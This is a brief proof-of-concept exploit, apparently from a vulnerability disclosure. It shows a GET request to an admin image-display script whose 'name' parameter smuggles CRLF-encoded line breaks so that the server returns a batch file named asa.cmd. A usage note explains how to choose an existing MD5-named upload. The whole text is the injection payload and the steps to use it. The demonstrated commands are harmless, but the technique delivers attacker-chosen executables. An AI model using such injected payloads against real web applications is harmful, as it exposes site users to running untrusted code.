GET: http://www.example.com/admin/displayImage.php?img=<name_of_existing_file_in_md5_format>&name=asa.cmd"%0d%0a%0d%0a@echo off%0d%0aecho running batch file%0d%0apause%0d%0aexit Note: The <name_of_existing_file_in_md5_format> is the name of one file existing on the "upload/" folder. It's name must be a MD5 hash, without any extension. ex: "435ed7e9f07f740abf511a62c00eef6e"